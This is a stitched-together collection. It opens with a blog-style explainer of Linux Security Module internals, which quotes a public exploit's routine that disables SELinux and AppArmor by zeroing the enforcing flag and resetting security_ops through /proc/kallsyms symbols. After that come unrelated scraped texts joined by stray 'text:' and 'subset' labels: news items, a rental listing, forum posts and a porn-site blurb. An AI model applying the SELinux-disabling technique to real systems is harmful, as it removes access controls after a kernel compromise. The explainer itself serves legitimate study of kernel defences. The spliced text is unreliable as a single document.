struct security_operations { char name[SECURITY_NAME_MAX + 1]; int (*ptrace_access_check) (struct task_struct *child, unsigned int mode); int (*ptrace_traceme) (struct task_struct *parent); int (*capget) (struct task_struct *target, kernel_cap_t *effective, kernel_cap_t *inheritable, kernel_cap_t *permitted); int (*capset) (struct cred *new, const struct cred *old, const kernel_cap_t *effective, const kernel_cap_t *inheritable, const kernel_cap_t *permitted); int (*capable) (struct task_struct *tsk, const struct cred *cred, int cap, int audit); int (*sysctl) (struct ctl_table *table, int op); ... int (*audit_rule_match) (u32 secid, u32 field, u32 op, void *lsmrule, struct audit_context *actx); void (*audit_rule_free) (void *lsmrule); #endif /* CONFIG_AUDIT */ };
These are predefined and documented callback functions that a security module can utilize to perform some security task in the specified function. The security header file then defines a series of security operations functions which by default do nothing at all in most cases. Here is an example snippet of these definitions.
/* * This is the default capabilities functionality. Most of these functions * are just stubbed out, but a few must call the proper capable code. */ static inline int security_init(void) { return 0; } static inline int security_ptrace_access_check(struct task_struct *child, unsigned int mode) { return cap_ptrace_access_check(child, mode); }
As you can see, some of the defined security operations will use the POSIX capabilities checks such as the security_ptrace_access_check() which is used in kernel/ptrace.c code like this:
int __ptrace_may_access(struct task_struct *task, unsigned int mode) { const struct cred *cred = current_cred(), *tcred; ... return security_ptrace_access_check(task, mode); }
And the capability routine is placed in security/commoncap.c (that stands for "Common Capabilities"). It's nothing more than a simple capability check which uses RCU locking.
/** * cap_ptrace_access_check - Determine whether the current process may access * another * @child: The process to be accessed * @mode: The mode of attachment. * * Determine whether a process may access another, returning 0 if permission * granted, -ve if denied. */ int cap_ptrace_access_check(struct task_struct *child, unsigned int mode) { int ret = 0; rcu_read_lock(); if (!cap_issubset(__task_cred(child)->cap_permitted, current_cred()->cap_permitted) && !capable(CAP_SYS_PTRACE)) ret = -EPERM; rcu_read_unlock(); return ret; }
LSM Framework Initialization
Now that you have a basic understanding of how LSMs such as SELinux, AppArmor, Tomoyo etc. operate in order to hook to Linux kernel routines we can move to the next topic. This means jumping to security/security.c file…
By default, Linux kernel initializes LSM like this:
/* Boot-time LSM user choice */ static __initdata char chosen_lsm[SECURITY_NAME_MAX + 1] = CONFIG_DEFAULT_SECURITY; /* things that live in capability.c */ extern void __init security_fixup_ops(struct security_operations *ops); static struct security_operations *security_ops; static struct security_operations default_security_ops = { .name = "default", };
The default security options include just the POSIX capabilities check as we saw in the previous section. In include/linux/init.h header file we can find two initialization callback functions that are normally used to define the beginning and the end of a series of routines that the LSM needs to inialize itself.
/* * Used for initialization calls.. */ typedef int (*initcall_t)(void); typedef void (*exitcall_t)(void); ... extern initcall_t __security_initcall_start[], __security_initcall_end[];
Back to security/security.c there's the actual security module initialization function.
/** * security_init - initializes the security framework * * This should be called early in the kernel initialization sequence. */ int __init security_init(void) { printk(KERN_INFO "Security Framework initialized\n"); security_fixup_ops(&default_security_ops); security_ops = &default_security_ops; do_security_initcalls(); return 0; }
The first call leads to a security/capability.c function that initializes the passed 'security_ops' structure with the available routines as you can see in the snippet here:
#define set_to_cap_if_null(ops, function) \ do { \ if (!ops->function) { \ ops->function = cap_##function; \ pr_debug("Had to override the " #function \ " security operation with the default.\n");\ } \ } while (0) void __init security_fixup_ops(struct security_operations *ops) { set_to_cap_if_null(ops, ptrace_access_check); set_to_cap_if_null(ops, ptrace_traceme); set_to_cap_if_null(ops, capget); set_to_cap_if_null(ops, capset); ... }
Then security_init() will update kernel's 'security_ops' structure with the initialized one and make a call to do_security_initcalls() which basically nothing more than a loop that will call all of the functions defined in the previously mentioned include/linux/init.h callbacks.
static void __init do_security_initcalls(void) { initcall_t *call; call = __security_initcall_start; while (call < __security_initcall_end) { (*call) (); call++; } }
Also, in security/security.c we can find the actual hooks that are performed by default (LSMs implement their own). Here is a sample of that.
int security_ptrace_access_check(struct task_struct *child, unsigned int mode) { return security_ops->ptrace_access_check(child, mode); } int security_ptrace_traceme(struct task_struct *parent) { return security_ops->ptrace_traceme(parent); }
Registration of an LSM
Knowing how LSM hooking and initialization work in general we can move to the next step which is how a security framework is registered. The function to this is this one:
/** * register_security - registers a security framework with the kernel * @ops: a pointer to the struct security_options that is to be registered * * This function allows a security module to register itself with the * kernel security subsystem. Some rudimentary checking is done on the @ops * value passed to this function. You'll need to check first if your LSM * is allowed to register its @ops by calling security_module_enable(@ops). * * If there is already a security module registered with the kernel, * an error will be returned. Otherwise %0 is returned on success. */ int __init register_security(struct security_operations *ops) { if (verify(ops)) { printk(KERN_DEBUG "%s could not verify " "security_operations structure.\n", __func__); return -EINVAL; } if (security_ops != &default_security_ops) return -EAGAIN; security_ops = ops; return 0; }
The code is very straightforward. It will check that the given structure isn't pointing to NULL using verify() which is shown below. Then, before setting the kernel's 'security_ops' to the LSM's one it checks that the structure passed to it is not the default one which is already being used.
static inline int __init verify(struct security_operations *ops) { /* verify the security_operations structure exists */ if (!ops) return -EINVAL; security_fixup_ops(ops); return 0; }
Load LSM on Boot
The LSM framework provide the feature of setting a module to be loaded at boot time. This is done through another function of security/security.c which updates the previously discussed kernel's values to use the selected LSM instead of the default one.
/** * security_module_enable - Load given security module on boot ? * @ops: a pointer to the struct security_operations that is to be checked. * * Each LSM must pass this method before registering its own operations * to avoid security registration races. This method may also be used * to check if your LSM is currently loaded during kernel initialization. * * Return true if: * -The passed LSM is the one chosen by user at boot time, * -or the passed LSM is configured as the default and the user did not * choose an alternate LSM at boot time, * -or there is no default LSM set and the user didn't specify a * specific LSM and we're the first to ask for registration permission, * -or the passed LSM is currently loaded. * Otherwise, return false. */ int __init security_module_enable(struct security_operations *ops) { if (!*chosen_lsm) strncpy(chosen_lsm, ops->name, SECURITY_NAME_MAX); else if (strncmp(ops->name, chosen_lsm, SECURITY_NAME_MAX)) return 0; return 1; }
You can read the comment which is very informative and then you can see that this is nothing more than copying the chosen one to the kernel's 'chosen_lsm' array shown earlier.
Resetting LSM to default
Finally, we have probably the most useful task from an exploit developer's point of view. This is resetting the LSM framework back to its default. Inside security/security.c the routine that does exactly this, is very simple…
void reset_security_ops(void) { security_ops = &default_security_ops; }
Since there is already public exploit code that does exactly this, I'll write about it too.
What spender does in own_the_kernel() to disable AppArmor and/or SELinux is just what the above reset_security_ops() function does.
security_ops = (unsigned long *)get_kernel_sym("security_ops"); default_security_ops = get_kernel_sym("default_security_ops"); sel_read_enforce = get_kernel_sym("sel_read_enforce"); ... // disable SELinux if (selinux_enforcing && *selinux_enforcing) { what_we_do = 2; *selinux_enforcing = 0; } if (!selinux_enabled || (selinux_enabled && *selinux_enabled == 0)) { // trash LSM if (default_security_ops && security_ops) { if (*security_ops != default_security_ops) what_we_do = 3; *security_ops = default_security_ops; } }
He obtains the kernel symbols through either '/proc/kallsyms' or '/proc/ksyms' and then just changes them to the default ones. His exploit includes a feature of making the system look like it's set with SELinux on enforcing mode but this is out of the scope of this post since it is SELinux specific.
I intentionally omitted some details such as security_initcall() macro but I'll discuss it in more detail in future posts dealing with some popular LSMs including SELinux, Tomoyo, SMACK and AppArmor. After all, this was just an introduction.
Linux kernel Disable Auto-Loading of Kernel Modules
Yesterday, I saw this email and I was like WTF?!
The patch is to simply comment out MODULE_ALIAS_NETPROTO() macros of RDS and ECONET protocols but seriously… Is this a security patch?
What? Linux developers are too cool for a simple patch such as grsecurity's MODHARDEN?
If someone was about to own a system using a local root on some exotic protocol family he probably have done this before his bug was killed. So, the aim of this patch is to avoid other vulnerabilities on those two modules by completely disabling them. Then what's the purpose of compiling them and keeping them in Linux kernel?
I don't like spender (and he doesn't like me either) but that has nothing to do with his MODHARDEN patch which is a very sane approach for a mitigation strategy against such vulnerabilities.


text:
Raise and Join your Hands to show Solidarity with People Living with a Rare Disease!
Launched in 2008 and coordinated by EURORDIS and its Council of National Alliances, Rare Disease Day 2015 is a global event which aims to raise awareness of rare diseases and their impact on patients' lives. This year's theme encourages everyone in the rare disease community to Raise and Join Hands to show your solidarity with people living with a rare disease. An official Rare Disease Day 2015 video – Bring People Living with a Rare Disease out of the Shadows and into the Spotlight – has been released to mark the event. There are a number of ways to get involved including becoming a Friend of Rare Disease Day, organising a special event or through posting your picture raising and joining hands to the website. Further information is available here.

subset: commoncrawl


text:
With more than 20% of the nation's incoming freshmen being the first in their families to go to college, first generation students are finally becoming more of a commonality across campuses.
However, despite the ever-growing number of scholars, there is still a lack of awareness about transitioning into college as a first generation. The task is difficult for anyone, but can be especially daunting for undergraduates who have never been taught how to reach out to professors, or prepare for interviews. It's never too late to start figuring out what your options are as a first-generation student!
Here are five pieces of advice I wish I was told on my first day of classes.
1. Resources Are There— You Just Have to Look For Them.
One of the most difficult things I've come to realize is that my parents have absolutely no idea what registering for classes is like, let alone finding and applying for internships. While us first-gen students watch roommates plan their next four years with parents, discussing their study abroad and internship options, we end up staring aimlessly at yet another episode of Parks and Rec. Although it's easier to watch TV, try taking advantage of your school's career center instead (even though Leslie Knope does offer great professional advice, too). The center is devoted to helping students find and apply for internships and jobs. Most will offer advice on how to prepare for interviews, and even how to dress professionally in the workplace. Advisors, too, can become a great resource— whenever you have a question about classes or majors, they're only an email away. Set up an appointment, or figure out your advisor's walk-in hours.
2. Having a Job Can Actually Enhance Your College Experience.
Most first-gen students at NYU have a job, some on-campus, some at restaurants in and around the city. No matter the location, having a job requires planning, time management, money for transportation, and communication skills. When your schedule starts filling up, and you realize working fifteen hours a week, on top of school, you notice that these skills were more important than you'd ever thought. Are we first-gens with jobs stressed out sometimes? Yes. But it feels good to know that, on top of the degree we're working towards, we're receiving a lesson in "real world" experiences.
3. Being Passionate is a Good Thing.
As you sit in class, did you notice the boy in front of you shopping for new Nikes on his laptop? What about the girl to your left, turning her sound off and subtitles on, and watching an episode of Friends? By the end of class, your hand is cramped from all the notes you've been taking. Instead, we wake up excited to go to class every morning, and can actually get pretty pissed off when our writing professor only keeps us for half the session. There's something sort of magical about college classes for first-generation students. While those whose parents have gone to college check classes off a checklist, first-gens are oftentimes much more passionate about their classes. In the eyes of our professors, our work can really set us aside. Visit them during office hours, whether you're struggling in a class or not. Let them know how passionate you are about their class. Not only will it probably help boost your grade, but you'll find a mentor within somebody academically experienced and engaged. Having that positive role model in your life will do wonders for you, both mentally and academically.
4. Embrace Your Role.
Being the first one to go to college in your family can put a lot of pressure on you—from your parents, grandparents, aunts and uncles. Oftentimes, you may feel that, if you don't major in something "good enough," none of their sacrifices will have been worth it. Moping around and living in a state of constant anxiety isn't how anyone should be spending their first year of college! Rather than wallowing in self-pity, embrace your role. You're setting an example for younger siblings and cousins, and providing perspectives to your non-first-gen friends about life without alumni dinners and tailgates at your parents' alma mater.
5. Understand You Are Not Inadequate.
Undoubtedly, the most pressing issue a first-generation student faces is feeling isolated from our peers. We are different, there is no way to ignore that. But this difference does not mean we are less intelligent, less capable of a high GPA, or less suited for a well-paying job, after graduation. At times, it feels as if, because of our parents not attending college, we won't be able to complete our four years, or that it would be easier for us to find a job if we had "connections." No matter what, though, at the end of the day, we got into this school, too. If the admissions officers hadn't seen something great in us, they would have never sent us that acceptance letter. We deserve to be setting this example for our future families, too.


text:
The Niger state Government is considering a law to demolish houses used by terrorists in any part of the state.
The attorney-general and commissioner for justice Alhaji, Abdullahi Bawa Wuse, disclosed this to journalists yesterday after a State Security Council meeting held at Government House Minna.
According to him, an executive bill to give vent to the policy will be submitted to the House of Assembly soon. The commissioner said that the intention was to ensure that terrorists did not have any hiding place in the state.
He explained that it was the responsibility of landlords to know who their tenants were, saying ignorance would not be an excuse once the law was passed.
He also said registration of all houses and the census of those residents in the houses would be done by the Niger State Geographic Information System AGIS.
He added that local government administrations and emirate councils had also been directed to have proper development of settlements, stressing that they should not allow the shanties to take root.
The commissioner said local governments should keep records of visitors and report suspicious movements to the authorities.
Source: Naija.ng


text:
When I go online to set a end date on a automatic payment it will not allow a date to be entered forcing me to call to get it done. I was told it's a known issue but is there any ideas on when the issue will be fixed, it's been months and months since the new internet banking was rolled out and it's never worked on this system
From the team: "No but it's been coming up a lot lately so should work it's way to the top of the small enhancements list. We'll let you know when it's at the top and we begin work on it "


text:
Originally from South Africa, sound jeweler MoShang Zhao has been living in Taiwan since 2003 and became a "son-in-law of Taiwan"Â in 2009. He has released four full-length albums and an EP and has been featured on a number of compilation- and collaboration-albums. His most recent release is Suncake Lounge Vol. 1 with Australian guitarist, Chris Bailey. He is responsible for the Live Online Podcast in which he shares one of his live performances each week for free download. He has won a South African award for his music to a short-film, his music has been featured on the Discovery Channel, and one of his tracks is currently being distributed internationally with the Ubuntu operating system. More about Moshang at http://moshang.net
China Tang Empire
Valor Renilo's China Tang Empire sim was created to be a little window into the Chinese culture. Tang dynasty was the height, the Golden Age of ancient China. Today, we see parallel, the rise of another Golden Age. I thought a reminder of the past would be an interesting parallel. Valor says there are many people who he has met in SL who have yet to travel out of their own confines, be it their homes, their towns, their citiies, or their countries. For those who cannot explore the world, and who cannot see - aside from books and television, what lies beyond their backyards, SL is the perfect medium for them to embark on their explorations. And hence, the birth of China Tang.
It took a team of three for China Tang, including Cayenne Republic, ryusho Ort
Most of the ground-level builds have been done with great precision and accordance, as much as SL and space allowed, to pre-existing Tang dynasty builds.
China Tang 2
"Although I have picked up Chinese (Mandarin) while growing up in Mahattan, it was not untl much later that I had the chance to spend a year and half in Beijing, China to fully immerse myself in an entirely Chinese environment - to learn the language, to know the people, and to scrape the tip of the cultural iceberg. I have always been enthralled by the Asian culture. My travels and work in different parts of Asia has enriched my experience, and at the same time, shown me how little I know, and how much there is still out there to be explored -- and this underlines the motivation behind creating this sim". ~Valor Renilo
Valor has collaborated to with Moshang and Live n Kickin to add Authentic Chinese Dancers for this weeks Show!


text:
Author has written 3 stories for Passions, and Smallville.I'm 21 years old from Toronto, Ontario, Canada. I admit that I'm absolutely obsessed with the Backstreet Boys, especially Kevin. I finally met my darling Kevin, who is even more gorgeous in person,I know it sounds impossible, but it's true. KTBSPA!!
P.S. Yearbook


text:
quad post an wot
I'd pay £20 just to get it over and done with
Shit, I'm at work and it's becoming more and more obvious that I don't do shit besides refreshing RWDFWD.
plz someone post when it's sold out to put me out of my misery
lol, same, worth it tho
getting closer...
Might be better to just keep refreshing here...
i'm not doing this shit next time, fuck it
yeah i'm stuck in an add to cart loop now
Got it ...
phew, managed to get my order through
fwiw, firefox seemed to work better for me, was frantically f5-ing on three other browsers, chrome never even loaded the page
best of luck to other ninjas
I've hidden it between many different tabs to avoid detection
Out of stock. Fuuuuuck
thank fuck i can get on with my life - didn't get a fucking copy
hey guise let's put this eagerly awaited release of only 500 copies on a website with the backbone of a mouse!
There's always the plain sleeve version
Got one
Not missed a full artwork version yet.
haha, I tried just for the heck of it but yeah OOS.
from 4thewax


text:
Rob Kardashian and Blac Chyna are the proud parents of a bouncing baby girl named Dream, and TV viewers will soon be able to share the couple's experiences in the delivery room courtesy of an upcoming reality TV special.
RELATED: A New Kardashian Has Arrived! Blac Chyna And Rob Kardashian Welcome First Daughter
Titled "Rob & Chyna: Baby Special", the special documents all the emotion and drama as the couple welcome their first child — to say nothing of the tension between Chyna's mom and Kris Jenner, as these grandmas apparently don't see eye to eye.
The special is set to air on Sunday, Dec. 18.


text: This video you are watching "Barjar Com Xxx" is in our website and shared by our users in amateur videos category. More videos can be found in bdsm, black, blowjob, latina porn videos in our community. Our categories updating by our users everyday. Barjar Com Xxx is uploaded 11 months ago.


text:
Robert Duvall has sunk his feet and hands in concrete, leaving an everlasting impression at Grauman's Chinese Theatre in Hollywood.
The ceremony Wednesday honored a nearly half-century in films as well as the 80th birthday of the actor, who won an Oscar for "Tender Mercies."
A crowd of spectators and photographers watched Duvall add his prints in the theater forecourt, where Hollywood stars have been honored in similar ceremonies since the 1920s.
Duvall's distinguished career includes Academy Award nominations for "The Godfather," "Apocalypse Now," "The Great Santini," "A Civil Action" and "The Apostle."
He was nominated last month for a Screen Actors Guild Award for his role as a backwoods hermit in "Get Low."


text:
Purchasing Industrial Furnishings for Your Needs
Shopping for industrial furniture is not something most people do every day. Office managers, warehouse directors, and medical facility buying representatives ought to discover the fundamentals prior to starting a shopping spree. The best guidance is to think about the requirements of the environment when searching for these home furnishings. Understanding what to search for makes the process less lengthy and decreases the tension included with major purchases like these.
Where to Begin
Start by making a list of jobs performed within the environment. For a medical facility, this list may consist of laboratory testing and diagnostics. In a warehouse, inventorying and item assembly may be common jobs. Even a normal office might perform unique activities, such as product assembly or product packaging. These functions reveal the type of industrial furniture that will be needed. It may likewise be practical to review what an industrial furniture maker provides due to the fact that products like commercial duty racks and racks may not instantly enter your mind.
As soon as the list of home furnishings is developed from the task list, the shopping procedure starts. This is where a keen eye enters play since commercial home furnishings are not developed equivalent. The very best are made from long lasting materials like steel and feature fully-welded construction to supply support, enabling the item to sustain requiring conditions. Convenience functions like casters for workstations, worktables, and carts might also be readily available.
Evaluating the Options
Consumers should require time to examine the offered styles of each kind of item. Many will find precisely what they want while others will need to purchase tailored products. Some producers offer directly to the public, making it simpler to obtain exactly what is needed. It is necessary to provide the producer with complete requirements and details concerning use so it can develop precisely what is required. Optional devices are often readily available but customers may not consider their energy when at first scoping out the furniture design.
When searching for customized equipment, it is very important to ask questions if any functions are uncertain. A roll giving cart is just one example of an item that can be found in numerous styles, each with different functions. A little roll cart with storage for extra functions on the bottom might be suitable for shrink- covering however a large roll cart will be required for rolls of cable television. Acquiring the incorrect variation means loan wasted and production down-time.
If you are searching for industrial furiture, look no further than Industry Mod! We provide a full selection of industrial furnishings you will need for your operation.
Getting the Best Cost
The very best method to find a rate for a particular industrial furnishing is to ask for a quote. A cost will be provided for a product that fulfills specifications and does not require changing once it is provided. If the price surpasses budget, substitutions may be possible to lower the cost while preserving performance. This makes it essential to deal with a business that utilizes well-informed customer care staff.
As soon as customers position their orders, they just wait on the items to be provided. Work areas must be cleaned and cleared to accommodate the delivery. Installers will set everything up as desired so the consumer will not need to make any changes. With the new furniture in place, productivity must immediately begin enhancing.


text: I've read tons of stuff on here and drooled over all the Fatty Q-view. I'm gonna' smoke my first fatty today or tomorrow but, I have a few questions. Sorry for bein' a noob. I've got it rolled and wrapped in bacon already. I know to smoke at around 225F. I've seen recommended ranges of 160F to 170F internal temp....I'm gonna' shoot for 165F internal, thinking it will continue to rise a little after I pull it off. My questions: What do I do after it hits the target internal temp? I know to pull it off the smoker. Is it supposed to rest? In foil or just on a plate or what? Do I just dig in? Thanks for any help.


text:
Fantastic 2 Bed Apartment In Costa Del Sol
Beach apartment with 2 bedrooms, 3 bathrooms, shared pool and golf nearby in Torrenueva, Spain
Booking cost: £0.00
Pay onlybooking deposit
From £371 per week
Apartment to rent in Torrenueva, Spain
Apartment overview - owner's description
Fabulous 2 bed Apartment, walking distance to beach, bars and restaurants. Sea views and beautiful gardens and pool area.
2 Bedrooms (Sleeps 4)
Luxury apartment in Torrenueva, Mijas Costa, Costa Del Sol.The apartment comprises of 2 bedrooms, 2 bathrooms, a large lounge with balcony overlooking the sea. There is air conditioning in both bedrooms and the living room. The complex has two swimming pools, and lift access to the pool area. It is located in a safe and friendly area, walking distance to the beach and a 10 minute walk to the village of La Cala de Mijas.
The Master bedroom has a double bed, built in wardrobe, bedside tables, a dresser, radio alarm and hair dryers. the twin room has 2 single beds, bedside tables, built in wardrobe and a dresser. There is air-conditioning and heating in both bedrooms as well as ceiling fans.
The main bathroom has a bath/shower, basin, toilet and bidet, the other bathroom has a walk in shower, toilet and basin.
The fully fitted kitchen has fabulous sea views, it is well equipped with electric cooker and hob, fridge freezer, washing machine, dishwasher, microwave, filter coffee machine, food processor, toaster, iron and ironing board.
The open plan lounge/diner opens onto the balcony, with spectacular sea and garden views. The living room has air conditioning, TV, satellite TV, DVD player, comfortable corner sofa, dining table and chairs
The apartment is on street level on one side and level 3 from the sea/pool side. There is a lift to pool side and outside toilets at the pool side. There are 2 swimming pools, one large pool for adults and one medium size pool for children. There are free sun loungers around the pool and all the communal areas are well maintained.
There is a local mini supermarket and a variety of quality restaurants are within a few minutes walk. La Cala Village is about 10 minutes walk where you will find banks, large supermarkets, bars, restaurants and other shops.
There is plenty of parking spaces around the apartment block. From the road the property is on ground level but once inside, looking out over the sea it is on the 2nd floor. The bedrooms are at the rear of the property and are very quiet.
This apartment does not have any reviews but the agent has 82 reviews for their other properties.
This apartment is:
Local activities
Sights and attractions
Show more Show less
Outside this apartment in Torrenueva, SpainThis apartment is near the beach. It has a shared pool, a sea view and a swimming pool. Car hire is not necessary as the apartment is less than a 15 minute walk to a large selection of shops, bars, restaurants; however parking is not available.
Prices and availability
Select your travel dates on the calendar
Changeover days and minimum stays
- 1 November - 23 December 2017: the minimum stay is 4 nights.
- 24 December - 31 December 2017: the minimum stay is 7 nights.
Damage deposit
£100.00 per booking, paid locally
2 bedrooms, Sleeps 4:
- 1 double bed and en suite
- 2 single beds
3 bathrooms including 1 en suite
Swimming pool
Shared pool
DVD/Blu-ray player, TV Languages in English, Local, Satellite / cable
Living area seats 5, Dining area seats 4, Air conditioning, Central heating, Clothes drier, Hair dryer, Iron / board, Towels / linen, Washing machine, Car hire optional
Cooker, Crockery, Cutlery, Dishwasher, Fridge, Freezer, Glassware, Kettle, Microwave, Oven, Pots / pans, Toaster
Sea view
Suitable for
Agency From La Cala De Mijas, Spain Member since Jun 2009
Past bookings: 837 bookings
Response rate: 79%
Response time: within 13 hours
Last logged in: 17 hours ago


text:
Kihei, Hawaii (PRWEB) October 12, 2016
Laurence I. Balter of Kihei, Hawaii earns the Cirrus Standardized Instructor Pilot rating. Balter previously held the rating in 2004 as an independent demo pilot for Cirrus Aircraft. "I'm delighted to renew my CSIP rating just as we embark on investing in a new nationwide flight training safety program utilizing the Angle of Attack indicator. This will improve flight safety by 40%." Angle of Attack flying has increasingly become more accepted as the FAA has granted certification for General Aviation. Balter utilizes the Bendix King KLR10 for the Cirrus aircraft.
Maui Flight Academy operates the Cirrus SR22 aircraft and serves licensed pilots and non-pilots interested in learning to fly. Select flight packages are available on the company website for pilots interested in aircraft rental on Maui.
Balter, Chief Flight Instructor for Maui Flight Academy has over 8,000 flight hours, and 4,000 hours in the Cirrus SR22 also holds the Airline Transport Pilot rating.
For visiting pilots interested in renting aircraft on Maui or conducting a Biennial Flight Review or Instrument Proficiency check contact Laurence I. Balter today.


text:
You may have seen it in the news. Recess is over.
A school in New York recently made headlines by banning traditional sports balls from recess (allowing soft Nerf balls instead) as well as games of tag, cartwheels and other forms of "unorganized" play.
And although this is just one school, it is happening everywhere. Schools in my own city are doing the same thing. No soccer balls or footballs. No rough games. Basically, no fun.
Now, I'm not saying that a trip to the ER is my idea of fun. But the issue that is raised in my mind is the negative and downright false lessons our kids our learning from our hyper-vigilant safety crusade.
What could be so bad about keeping our kids from getting hurt? How about this…
The Illusion of Safety
I'd like to point out the obvious irony: that while schools are banning playground fun, they say nothing about banning organized forms of violent, dangerous sports, presumably because these activities actually make money for schools. Football is just about the most dangerous, unhealthy sport there is, but it's a golden goose, so we're going to do everything we can to keep it going.
But tag, you're out.
What I think is happening as we try to bubble wrap our kids and protect them from every conceivable danger is that we are giving them the false sense that they are completely safe. Sure, we all want to feel reasonably safe. And I don't go walking around in parking garages at night more often than necessary. But the world is just a dangerous place, no matter what we do. More than falsely telling kids that they are completely safe, thanks to the adults' intrepid efforts, they need to know how to be prepared to judge, react and adapt to dangerous situations, to know when a game of tag is too rough or a parking garage too suspicious.
The Illusion of Control
Another little tidbit: Safe Kids Worldwide reports that 1.35 million children are brought to the ER every year, for everything from bruises and scrapes to concussions (which make up 12 percent of ER visits.) Just who on Earth is taking their child to the hospital for a scrape or bruise?
Our culture is in love with the illusion of control. We love to eliminate every variable we can, to sterilize and anesthetize our environment. See, control is what we want. The feeling of safety is our feedback, our reward that tells us we are in control. If we feel safe, then we feel that we have adequately controlled our environment. If we do not feel safe, then we feel the need to regain control. We allow our governments, both local and federal to watch us through cameras and email. Why? To give us the sense that they are in control of our environment. We feel safe from whatever danger they tell us they are preventing, and we accept this.
If there is one thing my wife and I have learned, particularly going through infertility treatments, is that control is an illusion. There are a million, unseen, unpredictable variables in the world. For us, we can do some treatment, spend some money, but we can't play God. The results are still in God's hands. We are not in control of our environment, our relationships, the economy, or really much of anything else past our own noses. And to give kids the idea that they can control the world and that feeling safe is an adequate indicator that they are in control is just false.
The Worst Thing in the World
Finally, there is a lesson, hard to learn, but only grasped when one gets truly hurt:
The lesson is that getting hurt is not the worst thing in the world.
Sure, there are catastrophes. I'm not talking about those. I'm talking about the everyday injuries.
Bodies were made to be bruised.
Hearts were made to be broken.
And I would say that an injury of the heart or spirit is far worse than a broken bone. But the wonderful thing about our bodies and our hearts is that they heal. We are far more resilient, far less fragile than we give ourselves credit for. This life does not consist of avoiding every possible danger, but confronting danger, taking the hits, bearing the scars.
And the great thing about our God is that He never promises safety or absolute protection. But He promises that He'll be there when we do get hit. He will provide the healing from our worst hurts.
What do you think? Is injury a necessary part of being human, of growing up?


text:
Uniforms for your Staff, School or Organization by Garment Graphics
Great selection, Name Brands, and Expert Decorating equals the Garment Graphics difference:
- Expert logo and graphic development
- Expert product consultation
- Great decorating options
- We handle all the details
- Fundraising and event planning
- Website and order form assistance
Garment Graphics is your uniforms expert!
We can help you navigate all the aspects of an effective uniform program. An effective uniform program builds value in your organization, enhances both school and business atmosphere, adds to safety and professionalism, and saves money.
We are ready to help with your uniforms, call 520-544-0529 or Contact Us today.
There are no products under this category


text:
We recommend upgrading to the latest Internet Explorer, Google Chrome, or Firefox.
If you are using IE 9 or later, make sure you turn off "Compatibility View".
Handpicked brands for you
The Trase. The Original. Since Now. See all the new colors it's available in at: DCshoes.com/Trase #DCShoes #DCTrase #TheOriginalSinceNow


text: Meta Rate My Team PokéBase - Pokémon Q&A Login Register All Activity Questions Unanswered Tags Users Ask a Question Rules Chat User Emiliob17 Wall Recent activity All questions All answers Questions by Emiliob17 1 vote 1 answer 2,227 views What special things occur in Black/White on your birthday? asked May 19, 2011 birthday 4 votes 1 answer 387 views Anime question: What ever happened to the G.S ball? asked May 17, 2011 gus-ball 1 vote 1 answer 630 views How many houses and people can you get in black city? asked May 15, 2011 black-city 3 votes 5 answers 13,801 views Can the move "splash" do anything significant? asked May 14, 2011 splash 0 votes 2 answers 1,597 views Whats a good strategy for fighting sleep status? asked May 8, 2011 sleep 0 votes 2 answers 8,435 views How would you use the item "ring target" to your advantage? asked May 4, 2011 ring-target 0 votes 1 answer 1,098 views How do you make the item "red card" work? asked May 4, 2011 red-card 0 votes 1 answer 303 views Is there anything special your supposed to do in the musical theater? asked May 3, 2011 musical-theater 1 vote 2 answers 1,244 views Can you see N again after you beat the game? asked May 2, 2011 n 1 vote 1 answer 2,399 views How would you get hydregion to learn dark pulse? asked May 2, 2011 dark pulse Useful Meta Posts How to change your username How to add a user avatar Why was my post hidden? The points system Question etiquette Flags vs Downvotes Anime FAQ


text:
GraphicRiver Juice Maker Logo Template 980149
Logo Template \ Nature
Vector \ Template \ Elegant \ Contact \ Grayscale \ Package \ Editable \ Design
Logo Template - Juice Maker Logo Template 980149 by RafaelOliveira @ GraphicRiver
Logo Template \ Nature
Simple, Fresh and Delicious
Juice Maker is a clean and nice looking logo template perfect for various types of business.
The template includes an EPS and AI vector files and is fully resizable and easily
editable , everything comes with a colored, grayscale and white color schemes.
The package also include a High Resolution and ready to use bitmap versions of each variation available in JPG and Transparent PNG images.
- Clean and Bold typography
- Eye catchy colors
- Beauty layout and elegant design
- Fully editable and organized vector files
Package Contents
- Standard vector files (Ai and EPS)
- Image files (JPG and PNG)
- Preview Image
- Help file (Thank you.html)
Fonts Used
- Pacifico: Free font, you can get it here , or replace with any other Script font.
Need Help?
I'm here to provide full support to this item, If you have any question, suggestion or need any assistance, just contact me and I'll get back to you as soon as possible .
All you need to do is drop me a line.
Send me an email | Follow me on Twitter | Visit my website
Like what you see? Hire me!
I'm professional graphic designer with great experience and available for freelance.
If you need a custom work or modification please feel free to contact me through my profile or my portfolio
Check out my other Items!
I produce hight quality items varying from different categories and styles, take a look at some of my works.
There's much more on the way and upon request! Browse my full collection!
Layered: Yes; Graphics Files Included: Transparent PNG, JPG Image, Vector EPS, AI Illustrator; Resolution: Resizable; Minimum Adobe CS Version: CS3.
Black Friday / Promotional Web Banners; Pet Care Facebook Cover; Pet Care Rack Card; Pet Care Postcard; Luna Rack Card; World Traveler Rack Card; Valentine Party Facebook Timeline Cover.
Keywords: abstract, ambient, balanced, bold, business, clean, creative, design, eco, elegant, fruit, grayscale, juice, leaf, logo template, memorable, mobile, nature, orange, rounded, seed, shapes, simple, stability, studio, success, symbol, tree, trust, white.
Create GraphicRiver Juice Maker Logo Template 980149 style with After Effect, Cinema 4D, 3DS Max, Apple Motion or PhotoShop. GraphicRiver Juice Maker Logo Template 980149 from creative professional designers. Full details of GraphicRiver Juice Maker Logo Template 980149 for digital design and education. GraphicRiver Juice Maker Logo Template 980149 desigen style information or anything related.


text:
"To cut a long story short, I stayed in the car for 30 hours and they tried to charge me £4000 ($6977)," the Londoner told the BBC.
Zafaryab returned from prayers to find a £100 ticket for parking on private land. While he was willing to pay the initial fine, he felt the officers' clamping charge of £365 wasn't fair.
So he got in his car and refused to move. The inspectors proceeded to put 40 more fines on his car and clamp all four wheels.
Tow trucks were called but Zafaryab wouldn't budge. In the end, the parking officials relented, unclamped his car and rescinded the tickets, which all but covered his windscreen. But they did make him pay the original fine, which Zafaryab will fight in court.


text:
NEW YORK -- Lawyers will meet again Monday to discuss the legal fight by baseball players against eliminating teams, and a top union official called the owners' stance ''preposterous.''
In Chicago, a management labor lawyer told general managers that contraction would take place by Dec. 15, according to a high-ranking team official who spoke on the condition he not be identified.
The lawyer, Frank Coonelly, said clubs would draft players from the eliminated franchises in the reverse order of their 2001 won-lost records and that management did not intend to honor no-trade clauses, the team official said.
